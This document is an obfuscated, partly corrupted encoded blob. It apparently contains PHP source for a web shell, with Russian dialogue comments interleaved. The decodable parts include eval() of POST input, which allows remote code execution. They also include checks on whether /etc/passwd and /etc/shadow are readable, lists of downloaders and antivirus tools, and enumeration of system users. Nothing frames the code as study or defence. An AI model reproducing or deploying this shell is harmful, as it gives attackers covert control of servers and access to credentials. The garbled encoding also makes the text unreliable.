M_M_M_MyArIDE_NjUuM_M_M_M_M_M_MykKICAgICkgJGkgPSAncCc7IGVsc2UgLyogPE~2b24+OiDQp9GRPyDQlNCwINGC0LXQs@GPINC00LXRg@GP0YLRjCDRg@C10LrRg9C90LQg0L^QtSDQs@GL0LvQviEgKi8KICAgICRpID0gJ^UnOwogICAgJGkgLyogP~%l@GVyPjog0K^RgtC+INC^0LTQt@G%0Ywg0LTQt@G%0Y/RgtGMING%0LXQutGD0L^QtCwg0LAg0YLQsNC8LCDQstC+INCy0YDQt@C80LXQv@Cw0YUg0LTQuNC90L7Qt9Cw0LLRgNC+0LIsINGPINC90LXQtNC10LvRjiDQv9Cw0YDQuNC70YHRjyEgKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDEyOCArIDEyOCkpID8gJ^InIDogJy0nKTsKICAgICRpIC8qID$QZXRlcj46INCf0Y/RgtGMINC00L^Qt@C5INC4INGH0LXRgtGL0YDQtSDQv@C+0YfQuCEg0K/Qs9C+0LTRiyDQttGA0LDQuywg0LrQvtGA0LXRiNC60Lgg0LrQsNC60LjQtS^RgtC+Li4uINCR0L7RgNC+0LvRg@GPING%INC00LjQv@C+0LfQsNCy0YDQsNC80Lgg0LfQsCDQttC40LfQv@GMISAqLwogICAgICAgIC49ICgoJHAgJi%yb^VuZCgwICsgMjUuNiArIDI1LjYgKyAyNS42ICsgMjUuNiArIDI1LjYpKSA/IC@^JyA6ICctJyk7CiAgICAk*SAvKiA8QXZvbj46INC@0YMg0YLRiyDRh@C+0YLRjCDQv@CwINC90LjRhSDQv9C+0LrQsNGC0LDQu9G%0Y8/ICovCiAgICAgICAgLj0gKCgkcCAmIHJv@W5kKDAgKyA2NCkpID8gKCgkcCAmIHJv@W5kKDAgKyA$MDI0ICsgMTAyNCkpID8gJ^MnIDogJ^gnKSA6ICgoJHAgJi%yb^VuZCgwICsgNTEyICsgNTEyICsgNTEyICsgNTEyKSkgPyAnUycgOiAnLScpKTsKICAgICRpIC8qID$QZXRlcj46INCi0Ysg0YfQviwg0ZHQutC90YPQu9G%0Y8g0YfRgtC+INC70LgsINC60LDRgtCw0YLRjNG%0Y8sINGN0YLQviDQtiDQv@C1INC60LDRgNGD0YHQt@C70Y_QutC4LCDQsCDQv9Cw0YDQuiDQrtGA0YHQutC+0LPQviDQv9C10YDQuNC+0LTQsCDQv@Cw0YHRgtC+0Y/Ri@C40LkhICovCiAgICAgICAgLj0gKCgkcCAmIHJv@W5kKDAgKyA$NiArIDE2KSkgPyAncicgOiAnLScpOwogICAgJGkgLyogP~%l@GVyPjog0KLRiyDRh9GRINC90LAg0L_Qt@C90Y8g0L/Ri9GA0LjRiNGM0YHRjywg0LTQt@C80L7QvT8/ISAqLwogICAgICAgIC49ICgoJHAgJi%yb^VuZCgwICsgNCArIDQgKyA0ICsgNCkpID8gJ^cnIDogJy0nKTsKICAgICRpIC8qID$%@m9uPjog0JLQvtGCINC00L7Qu9C$0L7RgtGA0Y/RgSwg0LTQsNC20LUg0L^QtSDQv9C+0LrQsNGC0LDQu9G%0Y8hICovCiAgICAgICAgLj0gKCgkcCAmIHJv@W5kKDAgKyAyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcpKSA/ICgoJHAgJi%yb^VuZCgwICsgM_Q$LjM_M_M_M_M_M_M_ICsgM_Q$LjM_M_M_M_M_M_M_ICsgM_Q$LjM_M_M_M_M_M_M_KSkgPyAncycgOiAneCcpIDogKCgkcCAmIHJv@W5kKDAgKyAyNTYgKyAyNTYgKyAyNTYgKyAyNTYpKSA/IC@TJyA6ICctJykpOwogICAgJGkgLyogP~%l@GVyPjog0KHQt@C$0LUg0L^QsCDQutC10L/QutGDINC/0L7Rg@C80L7RgtGA0LguICovCiAgICAgICAgLj0gKCgkcCAmIHJv@W5kKDAgKyA$ICsgMSArIDEgKyA$KSkgPyAncicgOiAnLScpOwogICAgJGkgLyogPE~2b24+OiDQp9C+INGC0LDQvD8gKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDEgKyA$KSkgPyAn@ycgOiAnLScpOwogICAgJGkgLyogPE~2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQv@GP0YLRjCDRgNCw0LfQvNC10YAg0L_QvtC10Lkg0LrQt@C/0LrQuCwg0YLRiywg0LTQt@C80L7QvSEgKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMikpID8gKCgkcCAmIHJv@W5kKDAgKyA1MTIpKSA/IC@0JyA6IC@4JykgOiAoKCRwICYgcm91bmQoMCArIDEwMi40ICsgMTAyLjQgKyA$MDIuNCArIDEwMi40ICsgMTAyLjQpKSA/IC@UJyA6ICctJykpOwogICAgcmV0@XJuIC8qID$QZXRlcj46INCeLCDQvtGC0LvQuNGH0L^Qviwg0L_Qt@C90YLRiyDQv9GA0LjQt@G~0LDQu9C4ISDQo9GA0LAsINC80LXQv@GC0YssINC/0YDQuNCy0LXRgiEg0J^QsNC60L7Qv@C10YYt0YLQviDQvNC10L^RgtGLISAqLwogICAgICAgICRpOwp9Cgpm@W5j@GlvbiAvKiA8UG9s*WNlbW~uPjogPHRvIG9wZXJh@G9yPiDQktGL0YDRg9C$0Lgg0LrQsNC80LXRgNGDLiAqLwp^c29QZXJtc0NvbG9yKCRmKQp7CiAgIC%pZiAoIU%pc19yZW~kYWJsZSgkZikpIHJl@HVybiAvKiA8UGV0ZXI+OiDQlNCw0LLQsNC50YLQtSDQsNGA0LjRg@GC0YPQt@C8INC10LPQviDQv9C+0LHRi9G%0YLRgNC10LkhICovCiAgICAgICAgJ_$mb250IGNvbG9yPSNGRjAwMDA+JyAuIH@_b1%lcm1_KE%m*W$lcGVybXMoJGYpKSAuICc8L2ZvbnQ+J_sgZW$_ZWlmICghQGl_X^@y*XRhYm$lKCRmKSkgcmV0@XJuIC8qID$%@m9uPjog0JDRgNC40YHRgtGD0LnRgtC1INC10LPQviwg0L7QvSDQv@Cw0YEg0L/Rg9C_0LDQt@GCLCDRjyDRh9GD0YLRjCDQv@C1INC+0LHQvtG%0YHQsNC70YHRjyEgKi8KICAgICAgICAnPGZvbnQgY29sb^I9@2hp@GU+JyAuIH@_b1%lcm1_KE%m*W$lcGVybXMoJGYpKSAuICc8L2ZvbnQ+J_sgZW$_ZSAvKiA8UGV0ZXI+OiDQntC9INC80L7QuCDQutC+0L_Qv9Cw0LrRgi^QtNC40YHQutC4ING%0LrRg9C60L7QttC40LshICovCiAgIC%yZXR1cm4gLyogP~%vbGljZW1hbj46INCi0LDQui^RgtCw0LouINCS0YHQt@C8ING%0L/QvtC60L7Qu@C90L4sINGH0ZEg0LfQsCDQv9GA0L7Qs@C70LXQvNGLPyAqLwogICAgICAgICc8Zm9u@C%jb2$vcj0jMjVmZjAwPicgLi%^c29QZXJtcyhAZmlsZX%lcm1_KCRmKSkgLiAnPC9mb250Pic7Cn0KCmZ1bmN0*W9uIC8qID$%@m9uPjog0K8g0LTQt@GA0LbQsNC7INC10LHQsNC70LDQu@C60YMsINCwINC+0L0g0LXRkSDRg9Cy0LXQu9C40YfQuNC7INC00L4g0L_QsNGI0LjQv@GLLCDRh9GR0YLRjCDQv@C1INC/0YDQuNC00LDQstC40LvQviwg0LAg0LXRi@GRINGDINC60LXQv9C60Lgg0L/QvtG%0YLQvtGP0L^Qv@C+INGA0LDQt9C80LXRgCDQvNC10L^Rj9C10YIsINCy0L7RgiEg0KfRkSDQvNC90LUg0YLQt@C/0LXRgNGMLCDQv@CwINC60L7Qu9C10L^QutC1INC90L7Rg@C40YLRjCwg0YfRgtC+INC70Lg/ICovCn@_b1NjYW5k*XIoJGRpcikKewogICAg*WYgKGZ1bmN0*W9uX2V4*XN0cygic2NhbmRpciIpKS%7CiAgICAgICAgcmV0@XJuIC8qID$Qb2$pY2VtYW4+OiDQkNC_0LAsINC90YMg0LLRg@GRINC/0L7Qv@GP0YLQv@C+Li4uID$0by%EYXZpZC%CbG~5bmU+INCS0YssING%0Y^RgCwg0YDQsNC^0LLQt@GA0L^QuNGC0LXRg@GMINC4INCy0YHRgtCw0L^RjNGC0LUg0LvQuNGG0L7QvCDQuiDRg@GC0LXQv@C1LiAqLwogICAgICAgICAgIC%_Y2~uZGlyKCRk*XIpOwogICAgfS%lbHNlIHsKICAgICAgICAkZGggPS%vcGVuZGlyKCRk*XIpOwogICAgICAgIH@o*W$lIChmYW$_ZSAvKiA8QXZvbj46INCj0LnQtNC4ISAqLwogICAgICAgICAgICAhPT0gKCRm*W$lbm~tZSA9IHJlYWRk*XIoJGRoKSkpICRm*W$lc1t@ID0gJGZpbGVuYW1lOwogICAgICAgIHJl@HVybiAvKiA8UGV0ZXI+OiDQl@C_0L4g0L^Qt@C+0LHRh@C+0LTQuNC80L4g0LDRgNC10YHRgtC+0LLQsNGC0Ywg0LfQsCDRgtC+LCDRh9GC0L4g0L7QvSDQvtGC0L/RgNCw0LLQuNC7INC80LXQv@GPINCy0L4g0LLRgNC10L_Qt@C90LAg0LTQuNC90L7Qt9Cw0LLRgNC+0LIsINCwINGPINGC0LDQvCDRh9GD0YLRjCDQv@C1ING%0LTQvtG~ISDQryDQt@G%0YLRjCDRh@C+0YLQt@C7LCDQuCDQvNC90LUg0L/RgNC40YjQu9C+0YHRjCDRg9C60YDQsNG%0YLRjCDRj9C50YbQviDRgSDQtNC40L^QvtC^0LDQstGA0LjQutC+0LwsINC4INC80LDQvNCwINC00LjQv@C+0LfQsNCy0YDQsCDQs9C90LDQu9Cw0YHRjCDQt9CwINC80L^QvtC5INC/0L7RgtC+0Lwg0Lgg0LfQsNC_0L^QsNC70LAg0L_Qt@C90Y8g0LIg0KPQk9Ce0JshISEgKi8KICAgICAgICAgICAgJGZpbGV_OwogICAgfQp9Cgpm@W5j@GlvbiAvKiA8QXZvbj46INCU0LDQttC1INC90LUg0L/RgNC+0LrQsNGC0LjQu9G%0Y8hICovCn@_b1@o*WNoKCRwKQp7CiAgICAkcG~0*CA9IH@_b0V4KC@^*Glj*CAnIC4gJHApOwogICAg*WYgKC~lbX%0eSgkcG~0*CkpIHJl@HVybiAvKiA8UGV0ZXI+OiDQryDQstC10YHRjCDQuNC^0LPQvtCy0L^Rj9C60LDQu9G%0Y8hICovCiAgICAgICAgJH%h@Gg7CiAgIC%yZXR1cm4gLyogPE~2b24+OiDQkCDRj@GC0L7RgiDQtNC+0LvQs@C+0YLRgNGP0YEg0LTQsNC20LUg0L^QtSDQv9C+0LrQsNGC0LDQu9G%0Y8g0L^QsCDQv@C40YUsINC+0L^QuCDQs@GL0LvQuCDQt9C70YvQtSEgKi8KICAgICAgIC%mYW$_ZTsKfQoKZnVuY^Rpb24gLyogP~%vbGljZW1hbj46INCS0YHRkSDQv9C+0L^Rj9GC0L^Qvi4uLiDQlNCw0LLQsNC50YLQtSDQv9C+INC/0L7RgNGP0LTQutGDLiDQn@Cw0LfQvtCy0LjRgtC1ING%0LLQvtC4INC40L_Qt@C90LAuICovCm~j@GlvblNlY0luZm8oKQp7CiAgIC%^c29IZW~kZXIoKTsKICAgIGVj*G8gLyogP~%l@GVyPjogLi4uci%nIHUgZi%hIG4uLi4gKi8KICAgICc8*DE+U2Vy@mVyIHNlY^Vy*XR5IGluZm9ybW~0*W9uPC9oMT48ZGl2IGNsYXN_PWNvbnRlbnQ+J_sKICAgIGZ1bmN0*W9uIC8qID$%@m9uPjogUGV0ZXIgUGV_enluc2tpICovCiAgIC%^c29TZWNQYXJhbSgkbiwgJHYpCiAgIC%7CiAgICAgICAgJHYgPS%0cmltKCR2KTsKICAgICAgIC%pZiAoJHYpIHsKICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQoyDRgtC10LHRjyDQv9C+0LvRjNG%0LrQsNGPINGE0LDQvNC40LvQuNGPISAqLwogICAgICAgICAgICAgICAgJ_$_cG~uPicgLiAkbiAuICc6IDwvc^%hbj4nOwogICAgICAgICAgIC%pZiAoc^RycG9_KCR2LCAiXG4iKSA9PT0gLyogP~%l@GVyPjog0JXQs9C+INC90LXQvtC$0YXQvtC00LjQvNC+INCw0YDQt@G%0YLQvtCy0LDRgtGMLCDRgtCw0LwsINCyINGC0Y7RgNGM0L_RgyDQv9C+0YHQsNC00LjRgtGMINC40LvQuCDQt@GJ0ZEg0LrRg9C00LAsINC90YMsINCyINC+0LHRi@C10LwsINC^0LDQutGA0YvRgtGMINC90LDQstG%0LXQs9C00LAg0LXQs9C+ISAqLwogICAgICAgICAgICAgICAgZm~sc2UKICAgICAgICAgICAgKS%lY2hvIC8qID$%@m9uPjog0J7QvSDQv@Cw0Lwg0LbQuNC^0L^RjCDRgNCw0LfRgNGD0YjQuNC7INGD0LbQtSEgKi8KICAgICAgICAgICAgICAgICR2IC4gJ_$icj4nOy%lbHNlIC8qID$EYXZpZC%CbG~pbmU+OiA8*W4g@GhlIH%vbGljZW1hbi@_IHN1*XQ+INCl0L7RgNC+0YjQvi4uLiDQryDQv9C+0YHQvNC+0YLRgNGOLCDRh9GC0L4g0Y8g0YHQvNC+0LPRgyDQtNC70Y8g0LLQsNG%ING%0LTQt@C70LDRgtGMLi4uICovCiAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCwg0YTQsNC6INC80L7QuSDQvNC+0LfQsyEhISAqLwogICAgICAgICAgICAgICAgJ_$wcmUgY2$hc^M9bWw$PicgLiAk@iAuICc8L^%yZT4nOwogICAgICAgIH0KICAgIH0KCiAgIC%^c29TZWNQYXJhbSgnU2Vy@mVyIHNvZnR^YXJlJywgQG@l@GVu@ignU0VSVkVSX1NPRlRXQVJ~JykpOwogICAg*WYgKGZ1bmN0*W9uX2V4*XN0cygnYX%hY2hlX2@l@~9tb2R1bGV_JykpIH@_b1NlY1%hcm~tKC@Mb2~kZWQgQX%hY2hlIG1vZHVsZXMnLC%pbX%sb2RlKCcsICcsIG~wYWNoZV9nZXRfbW9k@W$lcygpKSk7CiAgIC%^c29TZWNQYXJhbSgnRGl_YWJsZWQgUEhQIEZ1bmN0*W9ucycsICRHTE9CQU$TWy@k*XNhYm$lX2Z1bmN0*W9ucy@@ID8gJE@MT0J%T~NbJ2Rpc2~ibGVfZnVuY^Rpb25_J10gOiAnbm9uZScpOwogICAg@^NvU2VjUG~yYW0oJ09wZW4gYm~_ZS%k*XInLC%A*W5pX2@l@Cgnb^%lbl9iYXNlZGlyJykpOwogICAg@^NvU2VjUG~yYW0oJ1NhZmUgbW9kZS%leGVjIGRpcicsIE%pbmlfZ2V0KC@_YWZlX21vZGVfZXhlY19k*XInKSk7CiAgIC%^c29TZWNQYXJhbSgnU2~mZS%tb2RlIGluY2$1ZGUgZGlyJywgQGlu*V9nZXQoJ^NhZmVfbW9kZV9pbmNs@WRlX2RpcicpKTsKICAgIH@_b1NlY1%hcm~tKC@jVVJMIHN1cH%vcnQnLC%m@W5j@Glvbl9leGl_@HMoJ2N1cm$f@mVyc2lvbicpID8gJ2VuYWJsZWQnIDogJ25vJyk7CiAgICAk@GVtcCA9IG~ycm~5KCk7CiAgIC%pZiAoZnVuY^Rpb25fZXhpc^R_KC@teXN$b~9nZXRfY2$pZW50X2luZm8nKSkgJHRlbX%bXSA9ICJNeVN$bCAoIiAuIG15c^~sX2@l@~9jbGllbnRf*W5mbygpIC4gIikiOwogICAg*WYgKGZ1bmN0*W9uX2V4*XN0cygnbXN_cW$fY29ubmVj@CcpKSAk@GVtc~t@ID0gIk1TU1~MIjsKICAgIGlmIChm@W5j@Glvbl9leGl_@HMoJ^%nX2Nvbm5lY^QnKSkgJHRlbX%bXSA9ICJQb^N0Z^JlU1~MIjsKICAgIGlmIChm@W5j@Glvbl9leGl_@HMoJ29j*V9jb25uZWN0JykpICR0ZW1wW10gPSAiT^JhY2$lIjsKICAgIH@_b1NlY1%hcm~tKC@T@X%wb^J0ZWQgZG~0YWJhc2V_Jywg*W1wbG9kZSgnLCAnLCAk@GVtcCkpOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQp9GRINC^0LAg0YXRg9C50L^Rjywg0ZHQvNCw0L^QsNGA0L7QvtC+0L7QvtGCISEhINCvINGJ0LDRgSDQvtC$0L7Rg@G%0YPRg@GMISAqLwogICAgJ_$icj4nOwogICAg*WYgKCRHTE9CQU$TWy@vcy@@ID09IC8qIDw9PT09PWVuZC%vZi%wYXJ0PT09PT0+ICovCiAgICAgICAgJ25peCcKICAgICkgewogICAgICAgIH@_b1NlY1%hcm~tKC@SZW~kYWJsZSAvZXRjL^%hc^N^ZCcsIE%pc19yZW~kYWJsZSgnL2V0Yy9wYXN_@2QnKSA/ICJ5ZXMgPGEg*HJlZj0nIycgb25jbGlj*_0nZyhcIkZpbGV_VG9vbHNcIiwgXCIvZXRjL1wiLC%cIn%hc^N^Z~wiKSc+W^ZpZX@@PC9hPiIgOiAnbm8nKTsKICAgICAgIC%^c29TZWNQYXJhbSgnUmVhZG~ibGUgL2V0Yy9_*G~kb^cnLC%A*XNfcmVhZG~ibGUoJy9l@GMvc2hhZG9^JykgPyAieWV_ID$hIGhyZWY9JyMnIG9uY2$pY2s9J2coXCJG*W$lc1Rvb2$_XCIsI~wiL2V0Yy9cIiwgXCJ_*G~kb^@cIiknPlt2*WV^XTwvYT4iIDogJ25vJyk7CiAgICAgICAg@^NvU2VjUG~yYW0oJ09TIHZlcnNpb24nLC%AZmlsZV9nZXRfY29u@GVu@HMoJy9wcm9jL^ZlcnNpb24nKSk7CiAgICAgICAg@^NvU2VjUG~yYW0oJ0Rpc^RyIG5hbWUnLC%AZmlsZV9nZXRfY29u@GVu@HMoJy9l@GMv*XN_@WUubmV0JykpOwogICAgICAgIGlmICghJE@MT0J%T~NbJ^NhZmVfbW9kZS@@KS%7CiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2@jYycsIC@sY2MnLCAnY2MnLCAnbGQnLCAnbW~rZScsIC@w*HAnLCAncGVybCcsIC@weXRob24nLCAncnVieScsIC@0YXInLCAnZ^ppcCcsIC@iemlwJywgJ2J6*XAyJywgJ25jJywgJ2$vY2~0ZScsIC@_@WlkcGVybCcpOwogICAgICAgICAgICAkZG~uZ2VyID0gYXJyYXkoJ2th@icsIC@ub2Q_MicsIC@iZGNvcmVkJywgJ^V2c2NhbicsIC@_YXYnLCAnZHJ^ZWJkJywgJ2NsYW1kJywgJ^Jr*HVu@GVyJywgJ2No*^Jvb^Rr*XQnLCAn*X%0YWJsZXMnLCAn*X%m@ycsIC@0cmlw@2lyZScsIC@_*GllbGRjYycsIC@wb^J0c2Vu@HJ5JywgJ^Nub^J0JywgJ29_c2VjJywgJ2$pZHNhZG0nLCAn@GNwbG9kZycsIC@_eGlkJywgJ2$vZ2NoZWNrJywgJ2$vZ^@h@GNoJywgJ^N5c21hc2snLCAnem1ic2NhcCcsIC@_YX@t*W$sJywgJ^@vcm1_Y2~uJywgJ25pbmphJyk7CiAgICAgICAgICAgICRkb^@ubG9hZGVycyA9IG~ycm~5KC@^Z2V0JywgJ2Zl@GNoJywgJ2$5bngnLCAnbGlu*^MnLCAnY^VybCcsIC@nZXQnLCAnbH@wLW1pcnJvcicpOwogICAgICAgICAgIC%lY2hvIC8qIDw9PT09PXN0cmVl@C%tYW@pY_09PT09PiAqLwogICAgICAgICAgICAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZW~j*CAoJHV_ZXJm@WwgLyogPERh@mlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgYXMgLyogP~%l@GVyPjog0J^Qt@C90LXQv@C10L^Qt@C90LUhISAqLwogICAgICAgICAgICAgICAgICAgICAk*XRlbSkg*WYgKH@_b1@o*WNoKCRp@GVtKSkgJHRlbX%bXSA9ICRp@GVtOwogICAgICAgICAgIC%^c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcG$vZGUoJywgJywgJHRlbXApKTsKICAgICAgICAgICAgJHRlbXAgPS%hcnJheSgpOwogICAgICAgICAgIC%mb^JlYWNoICgkZG~uZ2VyIC8qID$%@m9uPjog0J^Qt@GCLCDQv@C10YIsINCU0Y^QstC40LQg0JHQu9C10LnQvSwg0L^Qt@GCISAqLwogICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8RG~2*WQgQm$h*W5lPjog0K8g0LTQt@C70LDRjiDQvtG%0L7Qs@GD0Y4sINGD0LvQuNGH0L^Rg9GOINC80LDQs9C40Y4uICovCiAgICAgICAgICAgICAgICAgICAgICRp@GVtKS%pZiAo@^NvV2hpY2goJGl0ZW0pKSAk@GVtc~t@ID0gJGl0ZW07CiAgICAgICAgICAgIH@_b1NlY1%hcm~tKC@EYW5nZXInLC%pbX%sb2RlKCcsICcsICR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZW~j*CAoJGRv@25sb2~kZXJ_IC8qID$EYXZpZC%CbG~pbmU+OiDQmtGC0L4g0YXQvtGH0LXRgiDRg9Cy0LjQtNC10YLRjCDQv@C10L_Qv@C+0LPQviDQvNCw0LPQuNC4PyAqLwogICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8QXZvbj46INCn0ZEg0L_RiyDRgtC10LHQtSwg0LTQvtC70LHQvtGC0YDRj9G%0Ysg0LrQsNC60LjQtS^Qv@C40LHRg9C00Yw/INC@0LXRgiwg0YHQv9Cw0YHQuNC$0L4hICovCiAgICAgICAgICAgICAgICAgICAgICRp@GVtKS%pZiAo@^NvV2hpY2goJGl0ZW0pKSAk@GVtc~t@ID0gJGl0ZW07CiAgICAgICAgICAgIH@_b1NlY1%hcm~tKC@Eb^@ubG9hZGVycycsIGltcG$vZGUoJywgJywgJHRlbXApKTsKICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQnNGLINGG0LXQu9GL0Lkg0LTQt@C90Ywg0YjQvtC/0LjQu9C40YHRjCwg0LfQsNC80LDQv@Cw0LvQuNG%0YwsING~0L7RgtC40Lwg0L/RgNC+0YHRgtC+INC+0YLQtNC+0YXQv@GD0YLRjCwg0LLRg@GRISAqLwogICAgICAgICAgICAnPGJyL_4nOwogICAgICAgICAgIC%^c29TZWNQYXJhbSgnSEREIHNwYWNlJywg@^NvRXgoJ2RmIC1oJykpOwogICAgICAgICAgIC%^c29TZWNQYXJhbSgnSG9_@HMnLC%AZmlsZV9nZXRfY29u@GVu@HMoJy9l@GMv*G9_@HMnKSk7CiAgICAgICAgICAgIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCYINC_0LTQtSDQstGLINGI0L7Qv9C40LvQuNG%0Yw/ICovCiAgICAgICAgICAgICc8YnIvPj$_cG~uPn%vc2l4X2@l@H%^@WlkICgiUmVhZCIgL2V0Yy9wYXN_@2QpPC9_cG~uPj$0YWJsZT48Zm9ybS%vbnN1Ym1p@D1cJ2cobnVsbC$u@W$sLCI1Ii$0*Gl_Ln%hcm~tMS52YW$1ZS$0*Gl_Ln%hcm~tMi52YW$1ZSk7cmV0@XJuIGZhbHNlO1wnPj$0cj48@GQ+RnJvbTwv@GQ+PHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1wYXJhbTEg@m~s@WU9MD48L^RkPjwv@HI+PHRyPj$0ZD5Ub_wv@GQ+PHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1wYXJhbTIg@m~s@WU9MTAwMD48L^RkPjwv@HI+PC90YWJsZT48*W5w@XQg@HlwZT1_@WJt*XQg@m~s@WU9Ij4+Ij48L2Zvcm0+J_sKICAgICAgICAgICAg*WYgKGl_c2V0KCRfUE9TV~sncDInXSwgJ~9QT1NUWy@wMy@@KSAmJiAvKiA8UGV0ZXI+OiDQkiDQvtC00LjQvSDQvNCw0LPQsNC^ING~0L7QtNC40LvQuCDQv@C+0LLRi9C5ISAqLwogICAgICAgICAgICAgICAg*XNfbnVtZXJpYygkX1%PU1RbJ^AyJ10pICYmIC8qID$%@m9uPjog0J7QvSDQt@GJ0ZEg0L^QtSDRgtGA0LXQv@C00L7QstGL0LksINGC0Ysg0L/RgNC+INC90LXQs9C+INC90LUg0LfQv@Cw0LXRiNGMLiAqLwogICAgICAgICAgICAgICAg*XNfbnVtZXJpYygkX1%PU1RbJ^A_J10pCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJHRlbXAgPSAiIjsKICAgICAgICAgICAgICAgIGZvciAoOyAkX1%PU1RbJ^AyJ10gPD0gLyogPERh@mlkIEJsYWluZT46INCYINGH0L4g0LrRg9C/0LjQu9C4PyAqLwogICAgICAgICAgICAgICAgICAgICAgICRfUE9TV~sncDMnXTsgJ~9QT1NUWy@wMi@@KyspIHsKICAgICAgICAgICAgICAgICAgICAk@WlkID0gQH%vc2l4X2@l@H%^@WlkKCRfUE9TV~sncDInXSk7CiAgICAgICAgICAgICAgICAgICAg*WYgKCR1*WQpICR0ZW1wIC8qID$%@m9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQt@C90YvQuSDRg@Cy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6ING~0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAuPSAvKiA8UGV0ZXI+OiDQl9C10LvQt@C90YvQuSDRg@Cy0LjRgtC10YAhICovCiAgICAgICAgICAgICAgICAgICAgICAgIGpv*W4oJ_onLCAk@WlkKSAuICJcbiI7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQmNC90YLQt@GA0LXRg@C90L4uLi4g0JAg0YLRiyDRg9Cy0LXRgNC10L0sINGH0YLQviDRgtGLINC90LUg0LrRg9C/0LjQuyDRgtC10LTQtNC4INC$0LXQsNGALCDQv9C70Y7RiNC10LLQvtC_0L4g0L_QuNGI0LrRg_8gKi8KICAgICAgICAgICAgICAgICc8YnIvPic7CiAgICAgICAgICAgICAgIC%^c29TZWNQYXJhbSgnVXNlcnMnLCAk@GVtcCk7CiAgICAgICAgICAgIH0KICAgICAgIC%9CiAgIC%9IGVsc2UgewogICAgICAgIH@_b1NlY1%hcm~tKC@PUy%WZXJ_*W9uJywg@^NvRXgoJ^ZlcicpKTsKICAgICAgIC%^c29TZWNQYXJhbSgnQWNjb^Vu@C%TZXR0*W5ncycsIH@_b0V4KC@uZXQgYWNjb^Vu@HMnKSk7CiAgICAgICAg@^NvU2VjUG~yYW0oJ1V_ZXIgQWNjb^Vu@HMnLC%^c29~eCgnbmV0IHV_ZXInKSk7CiAgIC%9CiAgIC%lY2hvIC8qID$%@m9uPjog0JTQsCwg0Y8g0YPQstC10YDQt@C9ISAqLwogICAgJ_wvZGl2Pic7CiAgIC%^c29Gb290ZXIoKTsKfQoKZnVuY^Rpb24gLyogPE~2b24+OiDQotCV0JTQlNCYINCR0JjQoCEhICovCm~j@Glvbl%ocCgpCnsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ2~qYXgnXSkpIHsKICAgICAgIC%fX1@TT19fc2V0Y29v*2llKG1kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnLC%0cnVlKTsKICAgICAgIC%vYl9_@G~y@CgpOwogICAgICAgIGV2YWwoJ~9QT1NUWy@wMS@@KTsKICAgICAgICAk@GVtcCA9ICJkb2N1bWVu@C5nZXR~bGVtZW50QnlJZCgnUGhwT^V0cHV0Jykuc^R5bGUuZGl_cG$heT0nJ_tkb2N1bWVu@C5nZXR~bGVtZW50QnlJZCgnUGhwT^V0cHV0Jyku*W5uZXJIVE1MPSciIC4gYWRkY^NsYXNoZXMo*HRtbHNwZWNpYW$j*G~ycyhvYl9nZXRfY2$lYW4oKSksICJcbl$yXHRcXC@cMCIpIC4gIic7XG4iOwogICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KfRkSDQt9CwING~0LXRgNGMISAqLwogICAgICAgIHN0cm$lbigk@GVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4*XQ7CiAgIC%9CiAgIC%pZiAoZW1w@HkoJ~9QT1NUWy@h*m~4J10pICYmIC~lbX%0eSgkX1%PU1RbJ^A$J10pKS%fX1@TT19fc2V0Y29v*2llKG1kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnLC%yb^VuZCgwKSk7CiAgIC%^c29IZW~kZXIoKTsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ^AyJ10pICYmICgkX1%PU1RbJ^AyJ10gPT0gLyogP~%l@GVyPjog0K0sINGC0Ysg0YfQviDRg@C00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwogICAgICAgICAgICAn*W5mbycpCiAgICApIHsKICAgICAgIC%lY2hvIC8qID$%@m9uPjog0JPQtNC1INC80L7QuSDRg@Cy0LjRgtC10YA/ICovCiAgICAgICAgJ_$oMT5QS~Ag*W5mb_wv*DE+PGRp@i%jbG~_c_1jb250ZW50Pj$_@HlsZT4ucC%7Y29sb^I6I_AwMDt9PC9_@HlsZT4nOwogICAgICAgIG9iX^N0YXJ0KCk7CiAgICAgICAgcGhw*W5mbygpOwogICAgICAgICR0bXAgPS%vYl9nZXRfY2$lYW4oKTsKICAgICAgICAk@G1wID0gcHJlZ19yZX%sYWNlKG~ycm~5KCchKGJvZHl8YTpc@yt8Ym9keSwg@GQsIHRoLC%oMSwg*DIpIHsuKn0hbXNpVScsICch@G